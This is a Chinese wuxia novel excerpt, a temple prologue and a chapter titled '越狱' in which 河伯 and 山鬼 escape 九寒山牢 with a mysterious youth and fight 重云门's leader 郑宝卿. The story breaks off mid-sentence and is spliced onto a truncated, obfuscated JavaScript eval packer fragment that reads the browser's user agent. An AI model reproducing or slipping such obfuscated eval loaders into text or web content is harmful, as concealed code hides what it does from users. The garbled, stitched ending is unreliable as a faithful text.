成进无声地笑了,道:“你们玄同教如此心狠手辣,不怕遭到报应吗?”成进知道这句话纯属废话,尤其是对着魔教中人说这种话,若换作平时,这一幕简直会让他笑掉大牙。 可如今他就要死了,这些话想也没想就说了出来,犹如被虎豹捕食的猎物死前发出的无意义的呻吟。 然而那少女的神情却忽然变了。 “如此心狠手辣,不怕遭到报应吗?”她重复他的话,语气似在梦呓。 一滴冷汗从成进额边滴落,怎么回事?她怎么……像是走神了? 她脸上实在不该现出这种表情,毕竟对她们这种人来说,清理门户这类事是做惯了的。若魔教对杀人都要犹疑——何况还是杀叛徒,那么魔教也就不成其为魔教了。 成进甚至怀疑她露出这种表情是一种戏耍,对死之前的猎物的戏耍。毕竟成进也是个老江湖,在江湖上走得多了,见得多了,这种变态不是没有。露出的表情越是不忍,手段越残忍。 想到这里,成进打了个寒战,不知一会要遭受怎样的折磨。 成进见她右手无名指和小指略微动了动,张开了些,随后又握紧。 供桌的尽头一盏昏灯如豆,成进感到自己背上汗湿一片,凛冽的夜风吹进来,便是沁冷刺骨的寒意。 忽然殿外传来两声“呵呵”的笑声。 所有人都惊了一跳,那少女猛地转过头去,脸上的神色也有些错愕。 正当那少女和成进等人都怀疑是否是自己听错了时,殿外又响起说话的声音:“这里好热闹啊,不过过年嘛,就应该热闹。” 那少女感到浑身的血液都凝固了,但脑中反而更加快速地思考。她盯着声音传来的那扇窗户,朗声道:“阁下是谁?到此有何贵干?若与此事无关,在下恭送大驾。”她今日奉命前来清理门户,不想到这时陡生枝节。 成进如死灰般沉寂绝望了一天的心猛烈跳动起来,本以为穷途末路,不想竟能绝处逢生,抬头向窗外大叫道:“英雄!英雄!救我们!” 六年前,水西锦陇城郊姜棘山一处破庙中发现了数十具尸体,男女皆有。因尸体数量众多且被发现时还在初几里头,那年锦陇城中人人都没过个好年,人们提起这件案子,至今都还印象深刻。 2. 越狱 冬去春来,春去冬来。转眼间,离照水帮一夕灭门的惨案也已过去了整整六年了。 六年前水西发生的照水帮灭门一事过于骇人听闻,以至于水南的江湖人士都有所耳闻。虽然骇人听闻,却也只是江湖中中再常见不过的刀光血影中的一部分罢了。没过多久便被遗忘,人们的注意随即又被一轮轮新的矛盾与仇杀吸引。 水西、水南是指一江之隔的两片土地,这个“水”字便是指隔开两地的邑丰江,邑丰江古称“浥水”,水西、水南的称呼便由此而来。 可既是一江隔开两地,为何不称水南水北?只因这邑丰江流向自北朝南,流经一座名为“睦山”的大山时分出一派支流向西流去。这道支流也叫做邑丰江,不过人们为了区分,有时便称支流为仲邑江。所以,隔开水南水西的其实是仲邑江,而邑丰江干流以东的广大土地则被称为水东。 水南,水西,水东三片土地上,大大小小的武林门派棋布星陈,更不用说各种帮会教盟,简直数不胜数。 遥想当年,卫寂霆一统水西水东水南三地江湖,着实是完成了一项前所未有的壮举。不仅前无古人,且后无来者。这之后,卫氏子子孙孙担任武林盟主长达三百多年。独霸武林三百多年后,祸起萧墙,卫氏从内部分裂。如今,以睦山、邑丰江、仲邑江为界,水南、水西、水东三地分别有各自的武林盟主,这其中又只有水东和水西的武林盟主尚还姓卫。水南的武林盟主虽然不是卫氏后人,却也承袭了卫寂霆的做法,即武林盟主之位世袭。 自从卫氏裂变后,三地武林虽也有来往,却更倾向于各自独立发展,帮会冲突、门派争端也只发生在内部。三地几乎互不干扰,这种状况持续了八百余年,经过八百年的岁月酝酿,三地的武学风格越发有自己的特色,武学流派倒是丰富了许多。 初春,水南的群山深处。 “等我出来后,肯定不能光着身子在大街上走啊,所以要先备上一套崭新的衣服,要选能突显我英俊相貌的款式!” 半蹲在峭壁上的道姑挑了挑眉,只听得男子声音继续道:“还有干粮,水,剑也来一把,剑的话,你知道我爱用哪种。哦,别忘了买鞋子!”那道姑起身道:“行。”男子声音又说:“要不陈年好酒也准备一壶吧。”“年”字刚说出口,那道姑已飘身下崖,只撂下一句:“那你做梦。”身形便隐在一片白茫茫的云雾之中。留那男子声音兀自言语道:“哎哟,你说跟不懂美酒的人说什么嘛。” 这是座笔直峭立的危崖,崖壁上山石嶙峋,石缝中东一片西一片地钻出些许草木,那男子的声音便是从崖壁的内侧传出。 原来这山崖的内部乃是一座专门关押修行人士的大牢。那道姑方才待的地方,有一个酒杯大小的空隙,便是这座山崖内某间牢房的窗户了。这间牢房所在的位置极高,周围云雾缭绕,若非轻功卓绝,轻易上不到这来,就算能上来,一不当心就会跌落山崖,摔成齑粉肉泥。而下崖比上崖又要难得多,险得多。那道姑下崖,却如履平地一般。 当晚,一名狱卒来到山崖内那间牢房前,将钥匙插入锁孔,吱呀一声推开了了牢门。那狱卒甫一进门,手一扬,一个大包裹便飞向了好整以暇躺在稻草堆上的汉子。 那汉子也不睁眼,伸出左手接住,紧接着便一个鲤鱼打挺,坐起身解起包裹来。一边解一边道:“这九寒山牢守卫森严,名头响得连我们水西也无人不知,可到了山鬼大人面前,也只若无人之境。山鬼大人潜行之术之精,着实令在下佩服啊。”那狱卒哼了一声,嘴角却微勾,神色甚是得意。只见她面容白皙秀丽,不是白天山崖上的道姑又是谁?不过扮成了狱卒模样。那汉子约莫二十八九岁,一张脸棱角分明,浓眉大眼,是个身形魁伟的俊朗男子,他口中的山鬼大人,当是指这道姑了。 那汉子解包裹却是只用左手,只见他右肘上光秃秃的,右手小臂竟是被生生截去。虽只一只左手去解包裹,但他动作熟练麻利,显是早已适应了用一只手做事。 山鬼看着他残缺的右臂,嘴唇翕动了一下。 忽然,那人欣喜地喔了一声,将从包裹中摸出的小酒坛在手中抛了抛,接着用牙齿咬开塞子,凑到鼻底一嗅,赞叹不已:“好酒!是水南谷州府的九彩神仙醉!”转头对山鬼笑道:“谢啦!”在酒之外,他之前说的那些物什,除了剑,包裹中应有尽有。此外,还有几两碎银子和半贯铜钱。 山鬼道:“喝一口解馋得了,别在这里犯酒瘾。我没找到刀剑铺,时间又紧急,剑等出去再说。”她顿了顿,又道:“大人这几年一直设法找你,一得知你在这里,就派我来了。六年前究竟发生了什么?谁能把水西鼎鼎有名的河伯大人关到这来?” 河伯一边将身上又破又脏的碎布脱下来,一边道:“故事太长,等到出去再说。老主人还好吗?” 山鬼轻轻道:“老主人已经去世了,如今是小主人当家。” 河伯手上动作一顿,又接着整理起东西来。 山鬼转过脸去,道:“我们能做的,只有尽全力帮助小主人完成宏愿。换好衣服就走罢,不然等到天亮,行事就没那么方便了。里面还有一套狱卒的衣服,你穿在最外面,等出去再脱。我们扮成狱卒,虽瞒不了狱内守卫,瞒一下不清楚狱卒巡行规律的其他犯人倒是可以的。若不乔装,让其他被关押的人看见我们大摇大摆地在外面走,难保不会生出什么事端来。”关押河伯的牢房离其他牢房都比较远,所以此刻二人较为随意,但仍有意压低了声音。 来到牢房外,山鬼将牢门轻轻掩上,低声对河伯道:“你隐好气息,一步一步地跟紧我。” 山鬼事先便摸清楚了狱卒巡逻的规律,二人何时该走,何时该停,何时该隐于何处,她都安排得妥妥当当,有条不紊,二人未碰迎头碰上任何一队巡逻的狱卒。 这九寒山牢专门关押武林人士,所以狱卒个个都不是简单角色。山牢内部如同一座巨大的蚁穴,几十条通路如线一般绞缠成一团,将每一队狱卒巡逻的路线、时间整理清楚并总结出规律,再丝毫不差地记于脑中,是一件相当繁复的事。每当想到这里,河伯对走在自己前面的才十七岁的小姑娘便油然而生出一股钦佩和敬畏之意。 两人七拐八弯地行了良久,有好几次都是刚听从山鬼的指示躲在某处,便有一队狱卒从拐角处走出,牢狱内的火光与阴影交替覆盖在他们脸上,身上。 这座监狱极大,出口却只有一个,牢房从山脚到山腰直至山顶,密密麻麻地镶嵌在整座大山内部。站在监狱内的大平台上俯仰环视四周,当真如蜂巢一般。二人要掩人耳目避开狱卒守卫,小心翼翼,时走时停,因此走了一个多时辰都还未到达出口。 经过一座牢房前时,突然,有人声从里面传出:“二位留步。” 山鬼河伯俱是一震。 山鬼脚步滞了一瞬,随即继续往前走,河伯会意,也一语不发紧跟上去。二人不打算节外生枝,因此也不会做出任何回应。 只听牢房里那声音道:“若不愿停下,我便大喊啦。就说,有两个小贼要逃,别让他们跑啦。” 两人不约而同停下了脚步,不约而同地向牢房内看去。只见里面黑黢黢的,什么也看不见,墙壁上火把的光亮只照到了牢门铁栏稍稍往里的位置,再深处就是一片黑暗。似乎这光亮也害怕一般,一触到黑暗就缩回了脚。 那声音的主人就隐在这片黑暗中。 这间牢房与关押河伯的那间牢房类似,都与其他牢房相距较远,甚至还要远些。它处于一条山道内,而这条通道中只有这一间牢房。 山鬼河伯对望一眼,河伯道:“大胆贼人!说什么疯话?得罪了我们守卫大爷,让你吃不了兜着走!” 牢房里的人从喉咙里发出一声笑,道:“两位不用装了,我被关在这里很久,早已记住了什么时候会有狱卒从我牢门前经过。三个月前,我就发现有一名狱卒完全没有按照这规律来,且这名狱卒一直都是单独行动。嘿嘿,这里的狱卒从来都是至少三人一起巡逻,更不用说,他还鬼鬼祟祟。那时我便猜到是来劫狱的,果不其然。何况,若真是这里的狱卒,你又何必这么压低了嗓子说话?是怕惊动了‘同僚’么?” 山鬼道:“你是谁?你打算做什么?”此人既已识破他们身份,却并没有立即大声喧哗引人过来,其中应是有什么隐情。但眼下不容他们多耽,于是山鬼直接开门见山询问起那人的目的。 黑暗中传来声音:“哟,竟是个小姑娘。了不起,这九寒山牢狱的巡行路线三十天一重复,三十天内天天不同。你竟能摸清其中的规律,悄无声息地带人出去,了不起,了不起呀。” 河伯心中一凛,他在这被关了六年,知道自己待的地方不简单,却是今天第一天知道这座山牢的运行竟复杂精密若斯。对自己搭档的钦佩又深了几分,不由暗自慨叹自己从前确是小看了她。 那人连连夸赞,山鬼却置若罔闻,只道:“你究竟想要做什么?” 那声音陡然严肃起来,道:“你们是谁,因何越狱,我不管,我只要你们顺便把我也带出去。事成之后,我有重谢,从此分道扬镳,你们走你们的,我走我的,互不干涉,再无瓜葛。如何?” 山鬼眼中精光一闪,冷冷道:“我们为何要答应你?” 忽然,通道尽头传来一阵脚步声,随即有火光在洞壁上闪动,是一队巡逻的狱卒!方才只顾着和那人说话,竟忘了下一班狱卒就要过来了!山鬼河伯二人反应迅速,同时躲入一旁的大石后。听着狱卒从旁边经过时窸窸窣窣的声音,山鬼心中暗暗叫苦:“不好!在这里耽搁了一会,整个潜行的时间便被打乱,接下来只能走一步看一步了。” 等狱卒全部从另一头出了山道,那声音又幽幽响起:“你们没有理由答应我。但如果你们不答应,我立时就叫人过来。这鬼见鬼愁的九寒山牢,折弄江湖人的手段多着呢,你们说他们会怎么处置越狱之人?怎么处置劫狱之人?” 河伯哼了一声,向牢房踏出一步道:“少来威胁人!你猜我会不会在你出声前就先打穿你的喉咙?你说他们会怎么处置你的尸体?”他摆好了架势,将内力汇于左手,凝神细细感知着那人的位置。山鬼看见他左手食中二指之间不知何时已多了一块棱角锋利的尖石,显是方才躲于石后时就起了杀人的心思。 “呵呵……小子,想吓唬我?要拿命来赌么?赌是你先杀了我,还是我先喊出声来?” 场面一时间安静了,空气如凝固了一般。 河伯与山鬼两人相互看了一眼,都在对方的眼神里捕捉到了无奈,继而达成了共识。 他们还不能死在这里,他们都还有不能死的理由。即使赌赢的几率有九成,他们也不能去赌,何况他们全不知此人底细,硬碰硬更是冒险之举。 山鬼呼出一口气,盯着那片黑暗道:“行,就依你说的办。”河伯亦垂下手臂,恢复了平常的站姿。 那人喉咙里发出细微的使力的声音,似是从某个坐着或躺着的姿势站起,接着便是脚步声响。在山道里,“啪”、“啪”的脚步声混着回响显得格外清脆,一下下像是踩在河伯山鬼二人的心上。 那人的身影逐渐从阴影中现了出来,如同浮上黑色的水面。 山鬼一开始不知道那人的具体位置,因此只是盯着牢内那片黑暗跟他说话。等他走到火光下后,才发觉那人之前待的位置跟自己的脸朝向的位置略有偏差。 然而河伯山鬼看清此人后,俱在心里惊呼。 先前听他说话语气,本以为是江湖前辈,而出现在河伯山鬼眼前的,却是个少年人。 尽管他头发凌乱,污渍满脸,却仍能看出此人是个面容极清秀的少年,在这环境恶劣的山牢之中,便似一朵皎白芙蕖一般。 那少年一笑,眼睛成了两道弧线,道:“二位答应了,咱们这就走罢。” 河伯山鬼快速地对望一眼,山鬼转头看向这名少年,道:“我要先去找到你这扇牢门的钥匙,还要再拿一套狱卒的衣服。”她复又看向河伯:“你在这里等我,若有人来就躲在石头后面。” 河伯道:“知道啦,你什么时候变得这么啰嗦。” 山鬼白了他一眼,径自去了。 少年笑道:“去吧,去吧。” 片刻后山鬼回来,将钥匙插入锁孔,打开牢门。那少年拿起衣服嗅了嗅,转过头去做出极其夸张的干呕状,皱眉道:“好臭。”极不情愿地将衣服套在了外面。山鬼心想,你在这待了不知多久没洗澡,身上气味估计也好不到哪去。 山鬼重新估算了狱卒的巡逻时间与路线,一切准备停当后,三人出发。一开始仍在山道里的时候,那少年依旧在抬肩提肘,左闻闻右闻闻,脸上露出极其嫌弃的表情,一出了山道,也安分下来,极力扮成一个看上去正常的狱卒。 一切顺利。 三人走走停停,两个多时辰后,便来到了九寒山牢的出口大门处。山鬼、河伯以及那少年躲在山壁上一块突出的巨石后,寻找机会。 那巨石后面极其隐蔽,等闲不会有人发现。只是三人跃上巨石时,那少年表示自己上不去,需要帮忙。山鬼微感诧异,然而身处险境,不容多想,正准备伸手把他带上去时,河伯已从背后架住他的两腋,轻飘飘地跃了上去。 鱼晚衣本拟在天亮前出去,却因这少年的加入耽误了时间,其时天已蒙蒙亮了。 河伯被关在这山牢中六年,如今终能重见天日。先前尚且还能自持,此刻见到从大门射进幽暗牢内的白色天光,心中竟是越发激荡不已,身体不由得微微发抖。 虽然半路杀出了个程咬金,好在他这一路上也算乖觉,没有节外生枝。 山鬼用极微小的声音道:“一会儿他们换班的时候,我们就出去。小心行事,别被发现了。” 河伯一边听她说一边朝大门望去,大门两边各站了两个守卫,皆手持兵刃。一个拿长枪,一个拿软鞭,另外两个则分别握着刀和剑。 河伯知道九寒山牢“内重外轻”,由于牢里关押的很多是穷凶极恶的江洋大盗、帮会魁首一类,都是武功高强的恶徒。这些人往往不甘心身陷于此,杀了狱卒越狱之事便常有发生,然而却没什么同伙来劫狱。想是被关入牢中的这些人人品太差,也不存在什么生死至交、知心亲朋。所以渐渐地,大门入口处的守卫便松散一些,而九寒山牢的硬手,都在那些在牢狱内部巡逻的狱卒之间了。 再有,近年水西水南形势变幻莫测,在他河伯入狱前,水南武林就已是强弩之末,全靠祖上积下来的底子,苟延残喘到今天。 如此大势下,水南武林盟主麾下的九寒山牢还能有这么些人手,已经是很好了。 河伯的眼光从他们隐匿的这块巨石沿着石壁到出口大门依次扫过,知道鱼晚衣的用意是要他们以轻功踏着石壁,最后从大门上方出去。 守卫换班时,注意力松散。除此之外,九寒山牢的山牢大门依九寒山天然形成的山洞口而建,修得极其宏伟,换句话说,大门上方离地很高,约莫有一两丈。掌握了这两点,便有了神不知鬼不觉地从大门进出的条件。 饶是如此,若没有卓绝的轻功,也难保不被发现。 巨石离大门足足有三丈来远,要沿着垂直的山壁行进如此距离而不发出一点声音和气息,还要一气呵成从洞口顶端出去,若是换个轻功平平的江湖人来,便做不到。 但河伯山鬼是水西聊氏九歌的人,而九歌之中,这二人的轻功又是最好的。山鬼是女子,体态本就较为轻盈,而河伯虽是高大的汉子,轻功与山鬼比起来却是不分伯仲。 只是眼下有个麻烦,且这个麻烦似乎不是一般的麻烦。此刻除了他和山鬼,还有第三个人。 方才跳上巨石时,这少年说自己上不去,可见眼下他使不出轻功。提不起轻功,那就是提不起内力,内力没有,那岂不是武功也使不出?可他使不出武功,又怎会被关到专门扣押穷凶极恶江湖人士的九寒山牢来?九寒山牢又怎会看上他这种小虾米? 嗯? 等等。 使不出武功? 河伯想到这一层,陡然就生了一背的冷汗。 他凝神细细感受,的确在这少年的身上感受不到丝毫内力的运作。原来河伯身负异能,五尺之内,便能感受到其他习武之人的内力。 这他娘的是要被坑死! 果然是一个人在牢里待久了脑子不灵活,忘了自己还有这般异能,这小子身上没有半点内力,先前他竟没留神。 能被关进九寒山牢,河伯一开始就在心中默认了这个少年武功不差,哪里想到竟会如此! 就算是轻功再高强的人,也难以携着一个完全没有轻功的人不散发出任何声音、气息从旁人身边掠过,不仅如此,速度也要大打折扣。带着这少年,多半会被发现。他虽自信九寒山牢的这些守卫狱卒三三两两聚在一起不是自己的对手,但后者说到底也不是脓包角色,他和山鬼一边动手还要一边分出心来保护一个完全不会武功的人。如果被拖得久了,更多的硬手子从牢里出来,稍有闪失,谁都跑不掉。 真是愁死个人。 突然之间,他恍然开悟,在想象中拍了一下大腿。 才说牢里待久了脑子不灵活,脑子就还真不灵活,谁说就一定要把他带出去了?跟他一起在牢中走了两个时辰,还真把他当作非带出去不可的同伴了,嗐! 本来山鬼就是来带自己一人出去的,若不是这少年人以引来狱卒威胁,他们根本不会加以理会。答应带他出去,不过是迫于威逼而使的权宜之计,将他扔在这儿,于道义并无损伤。 他正想暗示山鬼一番,一抬头,发现山鬼刚好也看着他,朝他眨了眨眼,看了一眼那少年,再朝他摇摇头。 真是英雄所见略同。山鬼方才定也是在想同样的问题,然后得出了跟他一样的答案。 等到守卫一换班,二人直接施展轻功往外冲即可,就算这少年大吼大嚷,彼时守卫反应过来,他们早已在十余丈之外。 打定主意,河伯最后看了一眼那少年。后者正背对他们全神贯注地看着大门处的守卫,他意态闲闲,整个人似都冒出一股傻气,浑然不觉身后的人已神色阴晴不定地看了他好久,更不知二人已盘算好要将他扔弃在这里。 门口的守卫一齐看向了外边。 河伯与山鬼看在眼里,绷紧了背脊,知道是要换班了,皆做好了一口气冲出去的准备。 就在这时,牢内脚步声响,一个男子嗓音大声道:“郑门主远道而来,鲍某有失远迎哪。” 河伯山鬼俱是一惊,往牢内看去,只见一个中年汉子大步流星地往大门走来。那汉子又高又壮,肚皮突出,头上没有一根头发。牢内火盆、墙壁上悬挂的火把火光跃动,这中年汉子的光头也一下下反射出白色的亮光。 山鬼认得这是九寒山牢的牢头,暗暗心惊:我之前隐伏在这牢里观察了三个月,三个月来日日如常,难不成到了这个节骨眼上却有什么变故发生? 牢头鲍钟看向前方,继续说道:“前段日子得到消息,说您和唐掌门要来……咦?怎不见唐掌门?我还特地备下了……” 大门那边一道娇媚动听的女声打断他:“唐掌门去办其他事了。不用客套了,鲍牢头,我就直接说盟主大人叫我来所为何事吧。”这声音音色虽称得上甜美,但语气冰冷至极,还夹杂着些许焦躁与不耐。 只见一个严妆美妇走了进来,这妇人体格娇小苗条,背上斜背着一把剑。身后还跟着七个少年,这七人中有男有女,背上皆负着剑。想是这妇人的手下或弟子。 鲍钟道:“既如此,请去内室详谈。”正要着人去备茶,那妇人昂首道:“不必了,就在这说,我马上要走。” 鲍钟连碰了两个钉子,心中略微不快,但一来这妇人在水南武林地位很高,自己不便发作,二来也心说不和女子一般计较,便道:“呃……好罢,不知盟主有何指示?” 妇人道:“从下个月起,你们就不必在这看大牢了,赶紧收拾准备一下,去临蓟。” 临蓟就在仲邑江南,是水南武林盟主的驻地。鲍钟这一惊实是非同小可,但面上仍比较镇定,只微微睁大了眼道:“什么?这是为什么?” 一旁九寒山牢的守卫也面面相觑,皆为这个突如其来的消息感到震惊和不知所措。 山壁上,巨石后,山鬼等人也竖起了耳朵。 妇人冷笑一声,道:“盟主大人说往东,连我们重云门都不会往西,你不过是一个牢头,也有资格在这问为什么?” 山鬼喉头咽了咽,来人竟是郑宝卿。 先前听鲍钟叫她郑门主,此刻又听她说“我们重云门”,山鬼便确定了她的身份。 这女人是水南重云门的掌门,重云门是水南的名门大派,颇有声望。且跟水西不同的是,水南的武林盟主是真能号令水南群雄的,重云门、琥沙派等水南武林大派都唯南武林盟主马首是瞻,忠心耿耿,郑宝卿身为掌门,更是当今水南武林盟主的左膀右臂。山鬼想,家主大人要图谋水南武林,此人亦算是个不得不除的阻碍。 同时山鬼也心生疑惑,临蓟在水南北部靠近仲邑江的位置,而九寒山在水南腹地,其间千万里之遥,她竟会亲自来这。 鲍钟忙道:“不、不是……只是这太过突然,盟主大人怎会……” 郑宝卿脸上现出极不耐烦的神色,啧了一声,道:“叫你做你就做!那么多废话。” 鲍钟不便再问,只道:“是,是。”他顿了顿,试探道:“敢问郑门主,这监牢之后是何人来看守?” 郑宝卿道:“这你就不用管了。” 鲍钟道:“可后续交接……” 郑宝卿皱眉道:“这有什么好交接的……”话似还未说完就收了声。她低头思考了一阵,道:“你挑几个人留在这里就是。”语气倒是没刚才那么焦躁了。 鲍钟道:“是。” 巨石后面,山鬼细细听来,知道了九寒山牢要换一批人来看守,而让原来的这些狱卒去临蓟。 去临蓟做什么? 不管怎样,水南将有动作。回水西后得把这一消息告诉家主大人。 而眼下,就是等这位郑门主离开,自己与河伯再寻找机会出去了。重云门以剑法著称,山鬼曾听闻重云剑法有无穷奥妙,掌门郑宝卿更是剑术精绝。虽然以前从未与他们交过手,也不知郑宝卿是否名副其实,但保险起见,现下还是不与他们正面冲突为上策。且那七个重云门弟子个个都背着剑,若他们能结成剑阵,一旦被发现那更是大大的不妙。 郑宝卿道:“那么就这样吧,我先走了,你好好安排……嗯?”她陡然变色,朝石壁上巨石大喝道:“谁在那?” 被察觉了!这郑宝卿好生敏锐! 山鬼见她的脸朝着的正是他们三人所在的方向,心下一凛,对河伯道:“走!” 下一刻,山鬼眼前一花,郑宝卿已近在咫尺:“你要走到哪里去?”她长剑出鞘,握在手中,迅捷无比地就向山鬼刺来。 山鬼本身武功不低,只是不意她动作如此之快,仰头堪堪躲过一剑,正想着反击,脚踝一痛,却是被郑宝卿伸腿扫倒。 山鬼重心不稳,就要向后倒去,郑宝卿不给她喘息的机会,又是一剑刺来。山鬼此时无法调整姿势,心道:不好! 巨石后狭窄,无法供人站直。河伯见势不妙,以手撑地,正准备抬腿踢去郑宝卿手中的剑,忽然一个人影闪到自己面前,冲郑宝卿撒了一把粉末。河伯定睛一看,这人影不是他们带出的少年又是谁? 江湖上常有人使奇毒粉末,有的药粉是使人双目失明,有的是使人吸入体中身中剧毒。临敌时出其不意撒出,往往是反败为胜的契机。郑宝卿不意有此变故,心中一悚,忙闭目憋气,身体自然而然地向后仰倒。其实这少年身上哪有什么剧毒药粉?不过是刚从石壁上抓下来的一把碎石土屑。这少年的用意也只是要用泥土迷了她双眼,好让她刺不中山鬼,哪知郑宝卿想了恁多? 那少年这么一挡,郑宝卿又是一仰,河伯腿已伸出,这一脚便没踢中郑宝卿握剑的手,却踢在了她上臂。 河伯知道高手的兵刃轻易不会脱手,再加上如今被发现,已到了不是你死就是我亡的境地,因此一来就用上了十二万分的力气,这一脚力度着实不小。郑宝卿只觉被踢处剧痛无比,却忌惮那粉末,不敢张口大叫,生生把痛呼咽了下去,只闷哼一声,从石壁上落下。在空中翻了几圈,稳稳落在地上。 重云门弟子纷纷围上来,一迭声地叫着“师父!”“师父怎样?”“师父没事吧?”郑宝卿大力推开身边的弟子,只死死盯着正冲出大门的三人,喝道:“快追!别让他们跑了!” 那头河伯与抓着少年衣服将他提起的山鬼正好从洞口大门翻身而出。 一出山牢,凉风扑面,沁入肺腑,四处鸟鸣阵阵,六年没感受过外面的世界,河伯只觉神清气爽。九寒山牢处于一片密林之中,他和山鬼不敢停留,出了山牢仍马不停蹄以轻功在树林中穿梭。河伯转头看向一旁的山鬼,只见山鬼抓着少年的衣服,那少年被提着,如乌龟一般四肢悬在半空。 河伯知道自己这个小搭档性格里有天真的一面,方才这少年洒了一把土来相救山鬼,虽说用处不大,但他想要救人的心是真的,这下山鬼说什么也不会弃他不顾了。 河伯道:“提着那么重的东西,你累不累?要不我帮你提?” 山鬼踏上一根树枝,道:“不累。”虽这般说,呼吸却从先前开始就有些急促。 那少年表示抗议,将脖子抬起来道:“谁是东西了?小子说话当心点!” 河伯看着这少年道:“谁是小子?我怕是大了你十岁不止。”他不再理会这少年,转头对山鬼道:“你体力不支,把他交给我吧。现在不是逞强的时候,若是速度慢下来被追上,一切就完了。大事为重。” 山鬼道:“可我把他交给你也要浪费时间。郑宝卿的轻功你也见识过了,只要我们停下来须臾,说不定就被追上了。” 河伯笑道:“谁说要停下来交人了?见过抛绣球吗?” 山鬼一怔,转念一想,便明白了河伯的意思。可这少年方才好心救她,这可不好对他做这种事。 河伯看出了她的心思,道:“方才嘛,这位小兄弟确实是有心救你,可若不是他耽误了你我二人的时间,我们也不至于撞上郑宝卿呀。不撞上郑宝卿,他也没机会救你不是?” 山鬼眼神突然锐利起来。道:“不错。” 那少年越听越心惊,大声嚷道:“你你你们可别乱来啊,我我我要是死在这了,做做做鬼也……也不会放过你们!” 他的叫喊声着实凄惨,河伯正色厉声道:“收声!别让人循着声音找来了。” 少年闭嘴了。 河伯对山鬼道:“扔过来。”那少年闭上眼,上牙咬住下唇准备承受接下来将要发生的一切。 他只觉身上衣服一松,腾云驾雾一般又是上升又是下落,刚想叫出声,身子便被稳稳地托住了。睁眼一看,自己正被河伯扛在肩上。不过屁股朝前头朝后,只见两边的树木疾速往后退去。 这……过于刺激了。 刺激得还有点爽想再来一次……咳咳,先不想这个。少年眼珠子转了转,话说回来,这两人轻功倒还真是不凡,不知是什么来头?又过了好一阵,他感到周围一下亮堂了起来,举目四顾,原来是林木已尽,三人来到了一片空地上。 河伯停下脚步,道:“我们奔了这么久,他们应该已经没追了吧。” 山鬼一边擦去脸上的汗一边回头望了望,点头道:“应该是已经甩掉了。” 二人虽是轻功高手,但一刻不停地以极快的速度跑了这么远,皆有些气喘吁吁,后背起了一层热汗。 山鬼道:“这里最近的城市是谷州,我们先就往那去吧。就算郑宝卿一干人想到在谷州搜寻我们,大城市人多,我们再换回自己的衣服,隐没在人群中,想找到我们也不是那么容易。再谷州休整一下,便启程回水西。” 少年听到山鬼说“回水西”,忙道:“你们要去水西?我也要去,要不一路?”他上半个身子都倒垂着,此刻便是看着地上的枯草在说话。 河伯这才想起肩膀上还扛着个人,于是愤愤一把将他扔在地上,那少年哎哟一声,正要控诉,河伯却先他开了口:“放屁!你累我们如此,能把你带出来已经是仁至义尽了,还想死皮赖脸地跟上来!” 少年还待要说,突然一道声音从身后树林中传来:“有什么好争的?你们今天都要死在这里。” 这声音又甜又冷,有些耳熟,三人身体皆是一震,不约而同回头看去。 还真是郑宝卿。 她一身雪青色衣衫,在背后深绿色树林的映衬下,显得阴气森森,让本就不热的天气更加寒冷。 这时又听得她身后的树林中传出窸窸窣窣的声响,那声响越来越近,最终从树林中又跑出一个人来,却是鲍钟。 郑宝卿没有回头,道:“如何啊?我说什么来着,他们轻功再高,也总会停下来。” 鲍钟气喘吁吁,已说不出话来。 郑宝卿鄙夷道:“真是废物!我看九寒山牢是该换人来守了!” 最后一个“了”字话音未落,只听呛啷啷一声剑刃出鞘的脆响,郑宝卿便已闪身至河伯跟前,眨眼间的功夫就刺出三剑。河伯身上没有兵器,当即以空手和她过起招来。 便在这时,树林里又接连闪出几批人,每批两三个、三四个人,如此一共来了十几个人,才没再有人来了。这十数人中,重云门的七个弟子全部到场,其余的则都是九寒山牢的狱卒。 河伯以前从未跟郑宝卿交过手,不知她的虚实,所以先前避免和她起正面冲突。如今空手和拿剑的郑宝卿过了数十招,心里已有数:这重云门门主武功不如自己,而鲍钟的武功应该更在她之下。想到这里,心怀大畅,掌心处爆发出一股内力,将郑宝卿震退。 鲍钟才把一口气喘过来,正准备上前相助,就见郑宝卿从自己右手边连退数步,一直退到了自己后方,当即也打不定主意还要不要上前。 河伯一边伸手指了指郑宝卿,一边微笑道:“跟我交过手的掌门中,你算是不那么草包的。” 郑宝卿刚好被震退到了自己门下弟子所站的位置,回头对为首的那个弟子道:“子猷,剑阵!” 那名叫作陶子猷的弟子道:“陆师姐不在,请问师父是结成小阵吗?”他们以往结阵都是这名陆师姐领头,今日陆师姐不在,陶子猷第一次带其他弟子结阵,心里有些惴惴。 郑宝卿怒道:“大阵至少要八个人才能结,你们现在只有七个人,大阵结得了吗?这些你不会自己想吗?什么事都要来问我?” 陶子猷唯唯道:“是,师父。”心里却想的是,加上师父,不就是八个人了?大阵小阵,虽然都是剑阵,但威力可相差甚远,这名汉子看起来很厉害,连师父也不是对手的样子,若结小阵,能对付得了吗?但师父跟他们这些弟子一同结阵,似乎又失了身份…… 他不敢再建议或问师父什么,也不敢再磨蹭下去。于是转头对众同门道:“众弟子听令,五行阵!”呛啷呛啷之声响成一片,重云门弟子纷纷把剑拔了出来。 山鬼一凛,真是怕什么来什么,这些弟子果然是能结阵的。郑宝卿的武功略在她之上,而剑阵往往对武功有极大的加成,不知河伯能不能应付。若郑宝卿来对付自己,剑阵去对付河伯,那么他们今天保不齐就要交代在这里。转头看向河伯,河伯也敛起了漫不经心的神情,摆好架势,不敢轻敌。 突然,从九寒山牢的方向传来一声惨叫。这叫声极其凄厉,惊飞了一群山鸟,所有人都不约而同停下手中的事,将头转向了声音传来的方向。 树林一片寂静,没有一丝异样。可实在太静,让人总觉得下一刻就会从林木枝叶后冒出什么东西。 果然,一阵细微的窸窣之声响起,那响声越来越大,是有东西在靠近,越来越近。 似乎是人的脚步声,但这脚步实在太慢,悠闲地散步都比这快。若是追来的狱卒,怎会是这般? 就在众人感到疑惑时,灌木丛后,转出一个人来。 看清这人之后,所有人都倒吸了一口凉气。 看他服饰,的确是九寒山牢的狱卒,但浑身上下,衣袍裤子鞋袜,尽是血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 